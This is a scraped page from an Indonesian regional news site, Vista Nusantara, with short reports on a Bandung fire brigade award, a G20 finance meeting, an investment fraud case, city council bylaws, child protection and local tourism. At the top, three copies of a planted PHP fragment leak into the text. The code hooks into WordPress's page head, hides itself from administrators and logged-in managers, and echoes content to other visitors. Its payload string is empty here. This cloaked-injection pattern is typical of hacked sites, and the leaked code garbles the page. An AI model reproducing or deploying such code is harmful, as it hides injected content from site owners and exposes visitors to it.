if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999); Vista Nusantara - Laman 264 dari 271 -
?> if (!function_exists(‘f5cda30b4’)) { function f5cda30b4() { if (is_admin() || (function_exists(‘is_user_logged_in’) && is_user_logged_in() && function_exists(‘current_user_can’) && current_user_can(‘manage_options’))) { return; } echo ‘' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);

Blog

?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);
  • Diskar PB Kota Bandung Sabet Dua Penghargaan National Fire Fighter Skill Competition 2024


    Bandung,- VN, 
    Dinas Pemadam Kebakaran dan Penanggulangan Bencana (Diskar PB) Kota Bandung menyabet Juara 1 kategori Survival pada National Fire Fighter Skill Competition (NFSC) 2024 di Kota Surabaya.

    NFSC merupakan kompetisi keterampilan aparatur pemadam kebakaran dan penyelamatan (DPKP) dalam menyambut HUT ke-105 Pemadam Kebakaran dan Penyelamatan Nasional. 

    Selain berhasil Juara 1 pada kategori Survival, Diskar PB Kota Bandung juga meraih Juara Harapan 1 pada kategori Ladder Pitching.

    Kepala Diskar PB Kota Bandung Gun Gun Sumaryana, menyambut positif torehan prestasi tersebut. Menurutnya, prestasi ini merupakan kerja keras dan kekompakan tim Diskar PB Kota Bandung.

    “Alhamdulillah dari tiga kategori, kami mendapat juara 1 pada kategori survival,” ujar Gun Gun di Lapangan Kodam Brawijaya, Jalan Raden Wijaya Surabaya, Jumat (1/3/2024)

    “Secara umum lomba ini memperlihatkan teknik penyelamatan dan juga pemadaman,” katanya menambahkan.

    Lebih lanjut, Gun Gun mengatakan, keberhasilan Diskar PB Kota Bandung meraih juara pada momen peringatan HUT ke-105 Pemadam Kebakaran dan Penyelamatan Nasional menjadi refleksi untuk peningkatan kemampuan dan layanan kepada masyarakat. 

    “Kuncinya dalam proses pemadaman atau penyelamatan, kita pun harus hati-hati. Dan kita harus selamat. Ini menjadi motivasi bagi rekan-rekan Diskar PB atau Damkar Indonesia, khususnya Kota Bandung, dalam memperhatikan aspek tadi (kewaspadaan dan keselamatan dalam penanganan kebakaran atau bencana),” bebernya.

    Gun Gun menyebut, Diskar PB Kota Bandung memiliki standar penanganan kebakaran pada waktu 15 menit. Ia juga memastikan kinerja Diskar PB Kota Bandung yang terus terjaga, sehingga penanganan kebakaran di Kota Bandung tak pernah lebih lama dari standar tersebut.

    “Respond time kita 15 menit. Alhamdulillah, sejauh ini kami selalu menyelesaikan dan menangani respond time lebih cepat dari waktu tersebut,” tuturnya.

    Selain itu, Penjabat Wali Kota Bandung Bambang Tirtoyuliono menyampaikan ucapan selamat. Ia menambahkan, daya juang tinggi adalah modal kuat Pemda kota Bandung dalam memberikan pelayanan maksimal untuk masyarakat.

    “Selamat untuk tim Diskar PB atas penghargaannya. Ini menurut kami sangat luar biasa. Meski begitu, penghargaan ini harus menjadi motivasi untuk meningkatkan performa serta pelayanan bagi masyarakat,” pesan Bambang.**

  • Bahas Pemulihan Ekonomi Global, Menkeu Sri Mulyani Indrawati Hadiri 1st G20 FMCBG

    Menteri Keuangan (Menkeu) Sri Mulyani Indrawati menghadiri pertemuan Menteri Keuangan dan Gubernur Bank Sentral (Finance Ministers and Central Bank Governors, FMCBG) negara anggota G20 yang untuk pertama kalinya diselenggarakan di bawah Presidensi G20 Brasil. Pertemuan ini dilaksanakan pada tanggal 28-29 Februari 2024 di Sao Paulo, Brasil. Presidensi G20 Brasil mengangkat tema “Building a just world and a sustainable Planet” dan mengangkat tiga agenda utama, yaitu (1) inklusi sosial dan pengentasan kelaparan; (2) transisi energi dan pembangunan berkelanjutan; dan (3) reformasi tata kelola global.Pertemuan pertama FMCBG mendiskusikan agenda-agenda global terkini, seperti berbagai kebijakan ekonomi untuk mengatasi kesenjangan, perspektif global terhadap pertumbuhan, inflasi dan stabilitas keuangan, perpajakan internasional, sektor keuangan di abad 21, serta utang global dan keuangan berkelanjutan. Pada pertemuan ini, para Menteri Keuangan dan Gubernur Bank Sentral G20 belum berhasil menyepakati semua isu yang tertuang dalam draft Communique yang telah melalui tahapan negosiasi oleh para Deputi Menteri Keuangan pada tanggal 21-22 Februari 2024 dan pada tanggal 26-27 Februari 2024. Untuk itu, Presidensi Brasil mengeluarkan dokumen FMCBG berupa Chair’s Summary.

    Para Menteri dan Gubernur sepakat bahwa pemulihan ekonomi lebih baik dari perkiraan, namun demikian prospek pertumbuhan jangka menengah masih terlihat lemah. Situasi yang penuh tantangan ini memperburuk tekanan sosio-ekonomi dan lingkungan hidup yang telah ada, dan memberikan dampak negatif terhadap penduduk miskin dan rentan, yang sebagian besar tinggal di negara-negara berkembang. Selain itu, para Menteri Keuangan dan Gubernur juga menyadari risiko geopolitik akibat perang dan konflik terhadap perkembangan ekonomi dunia. “Tren dan guncangan global saat ini, seperti pandemi, perubahan iklim, teknologi digital, fragmentasi, dan proteksionisme perdagangan memperparah kesenjangan dan berdampak negatif bagi negara berpendapatan rendah, terutama bagi keluarga miskin, perempuan, dan daerah tertinggal”, ujar Menkeu Sri Mulyani.
    Para Menkeu dan Gubernur berpandangan pentingnya melanjutkan upaya membuat bank-bank pembangunan multilateral (Multilateral Development Banks, MDBs) lebih baik, besar, dan efektif dengan merujuk pada capaian saat Presidensi Italia, Indonesia, dan India. Selain itu, dorongan untuk segera mengimplementasikan 2 pilar perpajakan internasional (Two-Pillar Solution) terus digaungkan, utamanya untuk penandatanganan Konvensi Multilateral Pilar 1 pada akhir Juni 2024. Lebih lanjut, para Menteri dan Gubernur menganggap perlu untuk terus memperkuat upaya pencegahan, kesiapsiagaan dan respons pandemi, serta meningkatkan mobilisasi pendanaan untuk mendukung investasi infrastruktur dan transisi yang adil.
    Di sela-sela menghadiri pertemuan pertama para Menteri Keuangan dan Gubernur Bank Sentral G20 di bawah Presidensi Brasil kali ini, Menkeu Sri Mulyani juga melakukan serangkaian pertemuan bilateral dengan Menkeu dari negara-negara sahabat dan pimpinan organisasi internasional, yaitu (i) Menkeu Australia, Jim Chalmers, (ii) Komisioner Uni Eropa (UE) untuk Urusan Ekonomi, Paolo Gentiloni; (iii) Presiden Bank Dunia, Ajay Banga; (iv) Presiden Asian Infrastructure Investment Bank (AIIB), Jin Liqun; dan (v) Sekretaris Jenderal OECD, Mathias Cormann.
    Beberapa hal yang dibahas dalam pertemuan dimaksud meliputi isu makroekonomi global terkini dan program kerja prioritas G20 serta rencana penyelenggaraan bilateral policy dialogue antara Indonesia dan negara mitra. Secara khusus dalam pertemuan dengan Sekjen OECD, Menkeu menyampaikan apresiasi atas dukungan penuh anggota OECD yang diberikan terhadap keinginan Indonesia menjadi anggota OECD setelah serangkaian diskusi sejak September 2023 hingga Januari 2024. Menkeu juga menyampaikan kesiapan dan komitmen Pemerintah Indonesia untuk berdiskusi dalam penyusunan Peta Jalan Proses Aksesi Indonesia. (sumber:h.menkeu)
  • Berkedok Investasi Bisnis Es Krim Ternama, Seorang Pria Tipu Investor Hingga Ratusan Juta

    Bandung,(VN),- Kasus penipuan berkedok investasi kembali terjadi. Kali ini menimpa belasan orang yang menginvestasikan dananya di sebuah CV yang juga menjadi mitra bisnis dengan sebuah perusahaan waralaba es krim ternama di Indonesia.

    Dugaan penipuan tersebut sendiri terjadi saat belasan investor tersebut menginvestasikan dana  mereka yang mencapai angka ratusan juta itu di sebuah persekutuan komanditer atau CV (commanditaire vennootschap) yang berlokasi di Taman Kopo Indah Kabupaten Bandung. Di ketahui pula bahwa CV ini dikelola oleh seseorang yang berinisial RT yang juga menjabat sebagai Direktur di CV tersebut. 
    Berdasarkan keterangan pers yang disampaikan kuasa hukum para korban yaitu Jesco Lawfirm, pada bulan Maret 2023 dibentuk sebuah persekutuan komanditer atau CV, lalu seperti dalam kronologis, CV tersebut untuk mengumpulkan modal dari para investor. Seluruhnya ada 8 usaha dengan 7 akta pendirian CV, ditambah 1 usaha yang belum ada akta pendirian CV. 

    8 usaha tersebut memiliki 8 outlet atau gerai yang tersebar di Jawa Tengah terdapat 3 outlet, di Jawa Timur terdapat 3 outlet, dan di Kalimantan Tengah terdapat 2 outlet. 
    Jessica juga menjelaskan, para investor yang berinvestasi di beberapa CV tersebut, memiliki nilai investasi yang berbeda-beda. Sedangkan untuk satu franchise gerai atau outlet es krim diperlukan nilai investasi sejumlah 1 miliar rupiah. 

    Dalam 1 gerai atau outlet, investor dapat menanamkan modal investasinya minimal 5 persen dari modal usaha yang disebutkan di atas, dengan dijanjikan keuntungan sesuai dengan nilai investasi yang ditanamkan. 
    Pada awalnya, semua berjalan dengan baik. Kedua gerai es krim tersebut menyetorkan penghasilan gerai per hari ke rekening CV yang dipegang dan dikuasai oleh RT selaku Direktur CV. 
    “Para investor ini yang dimana adalah klien kami sampai pada akhirnya merasa dirugikan ini karena memang klien kami tidak pernah mendapatkan laporan keuangan permodalan atau Rancangan Anggaran Biaya yang pertama, lalu tidak mendapatkan laporan laba rugi setiap bulannya yang merupakan kewajiban tranparansi dari Direktur, jadi mungkin lebih ke arah tidak ada keterbukaan dari pihak yang terkait sehingga klien kami merasa adanya kejanggalan, ” ujar kuasa hukum para investor Jessica Simatupang yang juga di dampingi oleh kuasa hukum lainnya Falah Fadhlurrahman Syafei dan Adi Nababan. 
    Akhirnya permasalahan tersebut dilaporkan kepada kepolisian terkait adanya dugaan perbuatan penggelapan dalam jabatan dan penipuan yang dilakukan oleh RT ke Polres Cimahi pada bulan November 2023 lalu. 

    Melalui keterangannya kepada media tersebut, Jessica menegaskan bahwa, tersangka RT ini tidak mewakili waralaba es krim, namun mendapatkan izin usaha untuk menjual produk es krim dan minuman melalui skema bisnis waralaba atau franchise. 
    Masih menurut Jessica Simatupang, pada awalnya tersangka RT ini cukup kooperatif sebagai terlapor dengan selalu datang pada proses pemeriksaan oleh pihak kepolisian. Namun, saat pihak kepolisian pada tanggal 17 Februari 2024 menetapkan RT sebagai tersangka, yang bersangkutan mulai bertindak tidak kooperatif dengan tidak merespon 2 kali pemanggilan dari pihak kepolisian dalam hal ini Polres Cimahi. 

    Dirinya juga berharap pihak kepolisian dalam hal ini Polres Cimahi dapat bersikap tegas dengan melakukan pemanggilan paksa apabila tersangka RT ini tetap tidak mengindahkan surat panggilan yang telah dilayangkan pihak kepolisian. 

    “Tidak hadir itu sampai sudah dua kali pemanggilan, dari pihak kami menginginkan bahwa yang bersangkutan dapat hadir” pungkas Jessica Simatupang. 
    Saat ditanya oleh media terkait langkah-langkah yang akan diambil oleh kuasa hukum para investor ini

    “Bahwa pihak kami akan menunggu dan mencermati dahulu dinamika yang terjadi.” ujar Jessica menutup pembicaraannya.***


  • DPRD Kota Bandung Tetapkan Raperda Penataan Pusat Perbelanjaan dan Toko Swalayan

        Bandung, VN – DPRD Kota Bandung menggelar Rapat Paripurna dalam rangka pengambilan Keputusan Raperda Kota Bandung tentang Pedoman Pengembangan, Penataan dan Pembinaan Pusat Perbelanjaan dan Toko Swalayan, di Gedung DPRD Kota Bandung, Kamis, 29 Februari 2024.

    Wakil Ketua II DPRD Kota Bandung H. Achmad Nugraha, D.H., S.H., bersama Wakil Ketua III DPRD Kota Bandung Dr. H. Edwin Senjaya, S.E., M.M., memimpin Rapat Paripurna.
    Wakil Ketua II DPRD Kota Bandung Achmad Nugraha mengatakan, berdasarkan hasil rapat Badan Musyawarah telah disepakati bahwa pada hari ini akan dilaksanakan rapat paripurna pengambilan Keputusan Raperda Kota Bandung tentang Pedoman Pengembangan, Penataan dan Pembinaan Pusat Perbelanjaan dan Toko Swalayan.
    Untuk keperluan proses penetapan terhadap Raperda menjadi Peraturan Daerah, rancangan peraturan daerah yang telah disetujui, akan disampaikan kepada Pj. Wali Kota Bandung untuk bahan proses selanjutnya.
    DPRD juga memberikan apresiasi kepada pimpinan dan anggota Pansus 5 Tahun 2023 dan juga kepada segenap jajaran perangkat daerah di lingkungan Pemerintah Kota Bandung, yang telah bersama-sama melakukan pembahasan.
    “Kami atas nama Pimpinan dan Anggota DPRD Kota Bandung menyampaikan penghargaan yang setinggi-tingginya disertai ucapan terima kasih atas pelaksanaan tugasnya. Oleh karena tugasnya telah selesai, maka dengan ini Pansus 5 Tahun 2023 kami nyatakan dibubarkan,” ujarnya.
    Dalam rapat paripurna tersebut, ia juga menyampaikan bahwa Pansus 2 Tahun 2023 yang membahas Raperda Kota Bandung tentang Pajak Daerah dan Retribusi Daerah, telah selesai melaksanakan tugasnya.
    “Dalam proses penyelesaiannya sesuai ketentuan Perundang-Undangan harus melalui tahapan evaluasi ke Provinsi dan ke Kementerian terkait, sehingga memerlukan waktu yang agak panjang. Alhamdulillah saat ini, telah terbit Peraturan Daerah Kota Bandung Nomor 1 Tahun 2024 tentang Pajak Daerah dan Retribusi Daerah,” ujarnya.
    DPRD Kota Bandung juga menyampaikan apresiasi kepada pimpinan dan anggota Pansus 2 Tahun 2023 dan juga kepada segenap jajaran Perangkat Daerah di lingkungan Pemerintah Kota Bandung yang telah bersama-sama melakukan pembahasan.
    Selanjutnya untuk memenuhi amanat ketentuan Pasal 19 ayat (4) huruf a Peraturan DPRD Kota Bandung Nomor 1 Tahun 2020 sebagaiman telah diubah beberapa kali terakhir dengan Peraturan DPRD Nomor 1 Tahun 2023 tentang Perubahan Kedua Atas Peraturan DPRD Nomor 1 Tahun 2020 tentang Tata Tertib, maka Pj Wali Kota Bandung menyampaikan Pendapat Akhir Wali Kota atas Pengambilan Keputusan terhadap satu buah Raperda tersebut.
    Melalui Rapat Paripurna tersebut, DPRD Kota Bandung juga menyampaikan bahwa telah menerima surat dari Fraksi Partai Keadilan Sejahtera DPRD Kota Bandung Nomor: 78/F-PKS BDG/I/2024 tanggal 30 Januari 2024, perihal Penambahan Anggota Pansus 9 dari Fraksi PKS, yakni Siti Marfuah S.S., S.Pd., M.Pd., menjadi anggota Pansus 9 yang membahas Raperda Kota Bandung tentang Pelarangan, Pengawasan, dan Pengendalian Minuman Beralkohol.
    “Perubahan susunan keanggotaan panitia khusus tersebut akan kami tuangkan dalam keputusan DPRD Kota Bandung tentang Perubahan Keputusan DPRD Kota Bandung tentang Pembentukan Panitia Khusus 9 Tahun 2023,” ujarnya.(sumber:h.dprd.bdg)
  • Ketua Dewan Pembina Komnas PA Jabar ; Melindungi Anak Adalah Bagian Dari Bela Negara

    Bandung,VN,- Ketua Dewan Pembina Komnas PA Jawa Barat Bimasena Raga Waskita menghadiri forum wilayah Komnas Perlindugan Anak , Sabtu (24/2/2024). Kegiatan tersebut bertempat di Hotel Four Point Jl. Ir. H Juanda Dago Bandung itu dengan tema “Melindungi Anak Bagian Dari Bela Negara” Di hadiri oleh para pengurus dan perwakilan dari daerah se Jawa Barat. 

    Ketua Dewan Pembina Komnas Perlindungan Anak (PA) Jawa Barat Bimasena Raga Waskita kepada media di sela sela kegiatan menyampaikan, rasa syukur dan apresiasinya atas keberhasilan terselenggaranya kegiatan pelantikan pengurus Perlindungan Anak (PA) Provinsi Jawa Barat. Bimasena menegaskan bahwa melindungi anak-anak adalah juga bagian dari bela negara karena masa depan bangsa ada di tangan anak-anak sebagai generasi penerus bangsa.

    “Bela negara itu bukan hanya perang atau angkat senjata saja, namun melindungi anak anak dari bebagai potensi bahaya yang merusak mereka juga bagian dari bela negara. Karena anak anak ini akan menjadi generasi penerus bangsa kita di masa depan. Bisa dibayangkan jika anak anak ini menjadi generasi yang rusak. Maka akan rusak pula masa depan bangsa kita”, ujar Bimasena.

    Dirinya berharap di kepengurusan yang baru ini, Komnas Perlindungan Anak (PA) Jawa Barat dapat lebih berperan aktif dan lebih “bertaji” lagi dalam melaksanakan tugas pokok dan fungsi dari Komnas Perlindungan Anak (PA). Kepada Media, Ketua Komnas Perlindungan Anak (PA) Jawa Barat Diah P Momon yang didampingi juga ole Putri Ilmia Dzikri Anindhita,Jaka Sembada Prayoga, Sony Hadi Saputra, M. Fathurahman N dan Windi Eka P, mengatakan bahwa di periode kedua kepemimpinannya di Komnas PA Jawa Barat ini. Struktur organisasi baik di provinsi dan Kota/Kabupaten akan di lakukan penguatan oleh SDM yang berkompeten dan profesional. Selain itu, Komnas PA Jawa Barat juga akan mempererat kerjasama dengan pihak pihak yang dapat memberikan kontribusi positif bagi Komnas PA. Seperti kerjasama dengan media dan berbagai pihak lainnya.

    Sementara itu, Sekjen Komnas Perlindungan Anak (PA) Jawa Barat Putri Ilmia Dzikri Anindhita, SH, MH juga menambahkan bahwa selama ini Komnas PA Jawa Barat telah bersinergi positif dengan jajaran kepolisian. Menurut Putri, Komnas PA juga melakukan penguatan dengan memberikan apresiasi berupa penghargaan kepada jajaran personel Polri yang telah berhasil mengungkap kasus kejahatan terhadap anak. Terkait marak kasus bullying akhir akhir ini, anggota Komnas PA Jabar Jaka Sembada Prayoga, S. Psi mengutarakan bahwa ke depan Komnas PA Jawa Barat akan memaksimalkan pendekatan preventif ke level yang paling mendasar dalam masyarakat yaitu lingkungan rumah dan sekolah. Dengan memperbanyak sosialisasi Terkait bahaya bullying di lingkungan sekolah dan masyarakat.

    Ketua Komnas Perlindungan Anak (PA) Jawa Barat juga kembali mengatakan bahwa Provinsi Jawa Barat adalah Provinsi dengan kasus kejahatan terhadap anak yang paling tinggi di Indonesia. Dengan keterbatasan Sumber Daya Manusia dan juga anggaran tentu menjadi tantangan tersendiri bagi jajaran Komnas Perlindungan Anak (PA) Jawa Barat.

    Diah P Momon juga mengapresiasi dan merasa bangga kepada seluruh jajaran pengurus Komnas Perlindungan Anak (PA) Jawa Barat yang telah banyak berbuat di tengah segala keterbatasan bahkan hingga merogoh kocek sendiri dalam menangani suatu kasus.

    Sementara itu, masih di kegiatan tersebut. Carmadi Dadi Ketua Komnas Perlindungan Anak (PA) Kabupaten Indramayu juga menegaskan bahwa perlindungan kepada anak anak bukan hanya berkaitan dengan hal hal hukum saja namun juga perlindungan terhadap sosial ekonomi mereka. Misalnya dengan memberikan kepesertaan BPJS kepada orang tua dari anak anak tersebut yang secara otomatis akan melindungi sosial ekonomi anak anak tersebut.

    Terakhir, Windi Eka P, SH anggota Komnas Perlindungan Anak (PA) Provinsi Jawa Barat menyampaikan harapannya, agar jangan sampai makin banyak anak anak di Indonesia selalu menjadi korban kejahatan yang bahkan berpotensi menjadi pelaku, yang akhirnya merusak para generasi penerus bangsa. Untuk di ketahui, menurut data dari Komnas Perlindungan Anak (PA) sepanjang tahun 2023 kasus pengaduan kekerasan terhadap anak. kasus kekerasan seksual menduduki posisi jenis kasus yang paling mendominasi adalah dengan jumlah kasus mencapai 1.915 laporan. Selanjutnya kasus kekerasan fisik yang mencapai 985 kasus serta kasus kekerasan psikis dengan jumlah 674 kasus.

    Adapun jika dilihat dari Tempat Kejadian Perkara (TKP) kasus kasus tersebut, kasus kekerasan pada anak itu sering sekali terjadi di lingkungan keluarga atau rumah sebanyak 35 %. Di susul di lingkungan sekolah sebanyak 30 %, lingkungan sosial 23 %, dan lainnya mencapai 12%.***



  • Recommended! Empat Tempat Wisata di Kota Bandung

        Banyak masyarakat yang ingin berlibur ke tempat-tempat indah seraya dapat menghilangkan kejenuhan untuk sementara. Humas Kota Bandung telah merangkum beberapa rekomendasi tempat wisata terfavorite dan instragamable di Bandung yang wajib dikunjungi.

    Kota Bandung adalah pilihan yang tepat untuk berlibur bersama keluarga maupun orang-orang terkasih.
    Pemkot Kota Bandung telah merangkum beberapa rekomendasi tempat wisata terfavorite dan instragamable di Bandung yang wajib dikunjungi.
    Kampung Korea (Little Seoul Bandung)
    Tempat wisata ini terletak tidak jauh dari Stasiun Bandung dan berjarak 3-4 kilometer. Tempat wisata yang satu ini bernuansa Seoul, Korea. Selain itu, kamu juga bisa icip-icip aneka kuliner khas Korea Selatan yang super autentik.
    Harga tiket masuknya seharga Rp 30.000. Sudah buka dari pukul 10.00 hingga 22.00 WIB. Bagi yang menggemari korea, bisa banget mampir ke sini.
    Upside Down World Bandung
    Tempat wisata yang satu ini memang unik. Semua ornamen yang ada di dalamnya disusun secara terbalik, jadi seakan-akan kita jadi terbalik.
    Di Upside Down ini, pengunjung dapat berfoto di ruangan terbalik. Upside Down berlokasi di Jalan H. Wasid No. 31, Lebakgede, Coblong Kota, Bandung, Jawa Barat.
    Buka pada Senin sampai Sabtu, pukul 10.00 hingga 20.00 WIB, namun pada hari Minggu, dibuka mulai pukul 11.00 hingga 21.00 WIB.
    Harga tiketnya masuknya pun terjangkau, terbagi menjadi dua kategori, yaitu anak-anak dengan tinggi kurang 12 cm sebesat Rp50.000. Sedangkan untuk orang dewasa, harga tiket masuknya seharga Rp100.000.
    Forest Walk Bandung
    Tempat wisata yang satu ini sangat cocok untuk para pecinta alam, karena di tempat wisata ini, menyajikan suguhan alam yang apik dan sejuk dipandang mata.
    Forest Walk beralamat di kawasan Babakan Siliwangi Jalan Tamansari No. 73, Lb. Siliwangi, Coblong, Bandung, Jawa Barat, Indonesia.
    Harga tiket masuknya gratis, karena tempat wisata ini merupakan taman kota, pengunjung hanya dikenai biaya parkir seharga Rp3.000 – Rp5.000 tergantung jenis kendaraannya. Forest Walk Bandung buka mulai pukul 06.00 hingga 18.00 WIB.
    Kampung Dago Pojok
    Tempat wisata yang satu ini, bukan hanya berisi tentang hiburan-hiburan saja, namun juga sarat dengan kesenian di Kota Bandung. Jadi, bukan hanya liburan saja yang didapat, tetapi juga pembelajaran akan seni di Kota Bandung.
    Kampung Dago Pojok, berlokasi di Jalan Dago Pojok, RT 2, RW 3, Kelurahan Dago, Kecamatan Coblong, Kota Bandung, Jawa Barat. Harga tiket masuknya gratis. Kampung Dago Pojok dibuka pukul 08.00 hingga 22.00 WIB.
    Begitulah empat rekomendasi tempat wisata di Bandung yang ‘worth it’ untuk dikunjungi. Jadi, mau pilih tempat wisata yang mana dulu nih? (sumber:dsloinfo.bdg)
  • Rumah Seni Ropih, Pelopor Penjual Lukisan di Braga

    Braga merupakan salah satu objek wisata di Kota Bandung. Ketika berkunjung ke Braga, anda akan menemukan banyak lukisan yang dijual di sepanjang jalan.

    Jauh sebelum itu, terdapat satu rumah seni yang menjadi pelopor penjualan lukisan di jalan Braga, yakni Rumah Seni Ropih.
    Rumah Seni Ropih merupakan rumah seni yang didirikan oleh seniman asal Bandung, yakni Abah Ropih pada tahun 2000-an.
    Menurut Tata (45), pengelola Rumah Seni Ropih menjelaskan, penjualan lukisan di Jalan Braga didasari keinginan untuk membuat pameran seni, namun terkendala dana.
    “Berawal dari niat untuk menunjukkan lukisan yang dibuat, namun untuk menunjukkan di pameran saat itu terkendala oleh dana karena pameran memerlukan banyak biaya. Sehingga muncullah ide untuk melakukan pameran di jalanan yaitu di Jalan Naripan depan Gedung Sarinah,” ungkap Tata.
    “Kemudian Abah Ropih mengajak seniman lain untuk ikut menunjukkan dan menjual karyanya hingga merambah di sepanjang Jalan Braga,” sambungnya.
    Saat ini terdapat sekitar 10 pedagang lukisan, dengan jumlah seniman hingga ratusan.
    Braga dipilih sebagai tempat berjualan lukisan karena memiliki nilai sejarah bagi seniman di Kota Bandung.
    “Pementasan seni pertama di Bandung pun dilaksanakan di Braga sehingga Abah Ropih memilih Braga untuk berjualan lukisan,” ungkap Tata.
    Dengan adanya penjual lukisan di jalan Braga, membuat lebih banyak masyarakat yang tertarik dengan lukisan. Bahkan hingga menarik perhatian turis mancanegara, seperti Malaysia, Singapura, hingga Eropa.***
  • Kemendikbudristek Ajak Masyarakat Manfaatkan Ruang Publik sebagai Titik Temu Ekosistem Kebudayaan

        Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi menyelenggarakan Talk Show bertema “Perluasan Ruang Publik: Menghidupi Ruang Publik Sebagai Titik Temu Ekosistem Kebudayaan”. Kegiatan ini bertujuan untuk membuka ruang dialog tentang Ruang Publik dalam Pemajuan Kebudayaan serta salah satu implementasi dari cipta kawasan pemajuan kebudayaan.

    Bertempat di Indonesia Convention Exhibition (ICE) Bumi Serpong Damai (BSD), Kabupaten Tangerang, talk show ini akan mengulas dan menceritakan bagaimana pengalaman dan tantangan dalam mengaktivasi serta mengelola ruang publik sebagai kohesi kebudayaan dan sosial masyarakat. Hadir sebagai pembicara, Handoko Hendroyono CEO Filosofi Kopi dan M-Bloc Grup, Arif Yudi Jatiwangi Art Factory, dan Founder Spedagi Movement Singgih Kartono, serta dipandu oleh Diana Nazir sebagai moderator.
    Dialog interaktif terjalin tidak hanya pada peserta yang hadir di lokasi kegiatan, namun juga para peserta yang datang secara online melalui aplikasi Zoom. Para peserta dan pembicara saling bercerita praktik baik dan permasalahan dalam mengelola dan mengaktivasi ruang publik. Seperti yang diungkap Arif Yudi bagaimana dirinya bersentuhan awal dengan bekas pabrik genteng yang kemudian berhasil disulap menjadi ruang publik yang menjadi titik temu anak muda kreatif di Kabupaten Majalengka, Jawa Barat.
    Hal serupa juga disampaikan Singgih Kartono, melalui Spedagi Movement (Produk Bambu) yang digagasnya telah membuat kesadaran di masyarakat akan pentingnya semangat lokalitas. Senada dengan pembicara sebelumnya, Handoko Hendroyono CEO Filosofi kopi menyampaikan perlunya kehadiran ruang publik sebagai kawasan pemajuan kebudayaan.
    Pada dialog perdana, Direktur Jenderal Kebudayaan, Hilmar Farid, mengutarakan gagasannya terkait Cipta Kawasan Pemajuan Kebudayaan sebagai upaya optimalisasi kawasan. “Yakni dengan menjadikan keragaman budaya sebagai instrumen pembangunan serta memantik replikasi pergerakan nasional melalui percakapan, gagasan, praktik baik dan terobosan inspiratif untuk pengembangan kota inklusif dan berkelanjutan di Indonesia,” ujarnya.
    Sementara itu, Direktur Pembinaan Tenaga dan Lembaga Kebudayaan, Restu Gunawan, menyampaikan, “Talkshow ini merupakan bagian dari program Platform Indonesiana. Platform Indonesiana memiliki azas gotong royong, partisipatif, penguatan lokal, keragaman, dan ketersambungan.”
    Untuk membangun ekosistem pembangunan kebudayaan, Platform Indonesiana mendorong kolaborasi dan gotong royong bagi komunitas, pelaku budaya, dan pemerintah daerah untuk mengaktivasi ruang publik yang inklusif dan representatif sebagai ruang ekspresi kebudayaan. Keberadaan Platform Indonesiana juga bertujuan untuk menguatkan jejaring bagi para pelaku budaya dan pengelola ruang publik.
    Talk show yang terlaksana merupakan kerja sama antara Kemendikbudristek dengan ARCH.ID serta Ikatan Arsitek Indonesia (IAI), berada di tengah kegiatan yang juga sedang berlangsung yaitu Pameran Arsitektur Indonesia yang ke-4 dengan tema Placemaking: Tolerance. (Penulis: Tim Ditjen Kebudayaan/ Editor: Denty)
  • Raperda Penyelenggaraan Keolahragaan Rancang Payung Hukum Fasilitas Olahraga

        Bandung, VN – Pansus 8 DPRD Kota Bandung melakukan rapat membahas Raperda Kota Bandung tentang Penyelenggaraan Keolahragaan bersama KONI Kota Bandung, KORMI Kota Bandung, NPCI Kota Bandung, SOIna Kota Bandung, dan Bagian Hukum Kota Bandung, di Ruang Rapat Komisi D, Jumat, 23 Februari 2024.

    Rapat dipimpin Ketua Pansus 8, Hasan Faozi, S.Pd, dan dihadiri Wakil Ketua Pansus 8, H. Asep Mulyadi, S.H., dan anggota Pansus 8 di antaranya Iman Lestariyono, S.Si. Yoel Yosaphat, S.T. dan H. Yusuf Supardi, S.Ip.
    Ketua Pansus 8 Hasan Faozi mengatakan, perlunya pertimbangan memasukkan muatan lokal pada Raperda ini. Ia juga berharap Raperda tersebut menjadi payung hukum dalam memperbaiki sarana prasarana olahraga.
    “UU 11 tahun 2022 ini given (peraturan turunan dari UU), tetapi perlu memasukan unsur muatan lokal (mulok), baik dari KORMI, SOIna, atau juga NPCI. Ada konsep mulok yang mengikat untuk Perda ini. Karna perlu penyempurnaan poin-poin. Selain itu, Aspirasi masyarakat terkait Perda ini punya harapan besar agar Perda ini segera selesai. Apalagi di dalamnya membicarakan sarpras (sarana dan prasarana). Apalagi sarpras yang sudah ada perlu dijaga,” kata Hasan.
    Wakil Ketua Pansus 8, Asep Mulyadi berharap Raperda tentang Keolahragaan tersebut segera diselesaikan dan berharap menjadi sarana pemerintah dalam memperhatikan lebih serius kepada insan olahraga, baik olahraga prestasi maupun olahraga kemasyarakatan.
    “Berharap Perda olahraga ini ada beberapa hal perhatian Kota Bandung kepada insan olahraga, baik olahraga prestasi, baik kemasyarakatan, ada payung hukum supaya ada perhatian lebih ke insan olahraga ini. Maka Perda ini penting ini urgent (mendesak) harus segera diselesaikan tapi dengan serius diperhatikan karna banyak skill pemuda masyarakat Bandung namun tidak terwadahi,” kata Asep.
    Anggota Pansus 8, Yusuf Supardi mengatakan, selain mewadahi prestasi olahraga masyarakat, Perda tersebut juga harus jadi payung hukum dalam mengelola terkait komitmen atlet, jangan sampai ada jual beli atlet.
    “Bagaimana saat Perda ini disahkan, KONI dan yang lainnya ini bisa memperhatikan atlet. Jangan sampai atlet berpindah ke daerah lain, dan jangan sampai jual beli atlet,” ucapnya. (sumber.h.dprd.bdg)

  • LLDIKTI Wilayah IV Gelar Rakor Perguruan Tinggi dan Badan Penyelenggara Tahun 2024

        Lembaga Layanan Pendidikan Tinggi (LLDIKTI) Wilayah IV, Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi (Kemendikbudristek) menyelenggarakan Rapat Koordinasi (Rakor) Perguruan Tinggi dan Badan Penyelenggara Tahun 2024 di The Krakatau Grand Ballroom, Jakarta.

